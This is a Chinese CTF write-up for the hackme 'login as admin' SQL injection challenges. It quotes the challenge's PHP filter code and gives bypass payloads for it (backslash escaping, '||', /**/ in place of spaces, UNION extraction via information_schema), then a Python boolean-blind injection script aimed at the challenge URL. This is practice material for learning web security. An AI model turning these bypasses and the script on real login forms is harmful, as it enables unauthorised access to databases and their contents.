loginasadmin

[src = hackme] loginasadmin 系列

题目描述

login as admin 0: SQL Injection!
login as admin 0.1: Grab the hidden flag
Login as Admin 1:Please login as admin.
Tips: SQL Injection but sqlmap not working anymore.
Update: Source code is available now.
Scanner WON’T WORK

login as admin 1.2:
Get another flag
Tips: boolean-based SQL injection, information_schema

WP

SQL注入。题目还提供了源码,所以查看,发现进行了一些过滤。

Login as Admin 0

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str); //转换为小写,然后随后的if语句过滤了部分注入常用的关键词,如'or 1=1'
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str); //将单引号替换为\\'
}

本题的关键就是绕过这些过滤。strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

一般情况我们可以通过输入
admin’ or 1=1# 来进行注入(密码部分任意填写,因为#注释掉后面的查询条件),因为sql语句为:

1
2
3
4
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);

此时如果没有过滤,查询变为:

1
SELECT * FROM `user` WHERE `user` = 'admin' or 1=1#' AND `password` = '%s'

可以注入,但是现在过滤后,“or 1=1”不能使用,这个可以通过“||”绕过(其实也可以用2=2绕过),所以改为

1
admin' || 1=1#

其中的’被取代为“\\'”,所以查询变为:

1
SELECT * FROM `user` WHERE `user` = 'admin\' || 1=1#' AND `password` = '%s'

语法错误,“’”没有被闭合。可以通过在admin后再加一个\进行转义,将\\‘中的第一个\转义,即

1
admin\' || 1=1#。

则查询语句变为:

1
SELECT * FROM `user` WHERE `user` = 'admin\\' || 1=1#' AND `password` = '%s'

可以进行注入,结果如图:

login0

说明登录的不是管理员账号,从源代码的注释可以看到一下信息:

1
2
// table schema
// user -> id, user, password, is_admin

所以表中有一列为is_admin确定了是否为管理员,我们拿到的数据库的第一行返回的用户并不是管理员,所以我们需要查看返回的其他行,通过limit 1,1来限制。我们去第2个输出。

注入语句变为:admin\‘ || 1=1 limit 1,1#。再进行注入得到flag:
login0

Login as Admin 0.1

同时提示flag2在数据库中,所以需要通过SQLi来获取数据库里面隐藏的其他flag。其实第一个flag的值已经提示了需要使用UNION查询:

我们先来测试页面显示的是查询结果的第几列:
注入语句为:admin\‘ union select 1,2,3,4#
返回页面如下:
login0
2被回显,说明回显的是第2列,我们就利用2的位置显示我们需要的数据,我们演示全部过程:

  1. 查数据库名字:
1
\' union select 1,database(),3,4#

得到数据库名字为:login_as_admin0
2. 查询表名:

1
\' union select 1,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA="login_as_admin0"),3,4#

得到有两个表:h1dden_f14g,user
可以看出隐藏的flag应该在h1dden_f14g表中。
3. 查询表的列名:

1
\' union select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME="h1dden_f14g"),3,4#

得到就只有1列:
the_f14g
4. 查询该列的具体内容:

1
\' union select 1,(select the_f14g from login_as_admin0.h1dden_f14g),3,4#

得到flag:

login0

Login as Admin 1

查看源代码,发现过滤部分。关键处为:

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

过滤了空格,我们可以用/**/来代替空格进行绕过,其他和前面一样,payload如下:

1
admin\'/**/or/**/2=2/**/limit/**/1,1#

得到flag:
login1

Login as Admin 1.2

同样的绕过方式,但是这一题无回显了,采取bool盲注,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

s = requests.session()
url = "https://hackme.inndy.tw/login1/index.php"
flag = ""

def exp(i, j):
# payload = f"admin\\'/**/or/**/ascii(substr((SELECT/**/binary/**/group_concat(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()),{i},1))>{j}/**/limit/**/1,1#"
# 0bdb54c98123f5526ccaed982d2006a9,users

# payload = f"admin\\'/**/or/**/ascii(substr((SELECT/**/binary/**/group_concat(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name=0x3062646235346339383132336635353236636361656439383264323030366139),{i},1))>{j}/**/limit/**/1,1#"
# id,4a391a11cfa831ca740cf8d00782f3a6

payload = f"admin\\'/**/or/**/ascii(substr((SELECT/**/binary/**/group_concat(4a391a11cfa831ca740cf8d00782f3a6)/**/FROM/**/0bdb54c98123f5526ccaed982d2006a9),{i},1))>{j}/**/limit/**/1,1#"
# FLAG{W0W, You found the correct table and the flag, and UserAgent}
data = {"name": payload, "password": "bitsec"}
r = s.post(url, data=data)
if "You are admin!" in r.text:
return True
else:
return False

for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high) // 2
# print(mid)
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low + high + 1) // 2)
print(flag)

[知识点]

典型的SQLi注入流程,堪称教学式SQLi。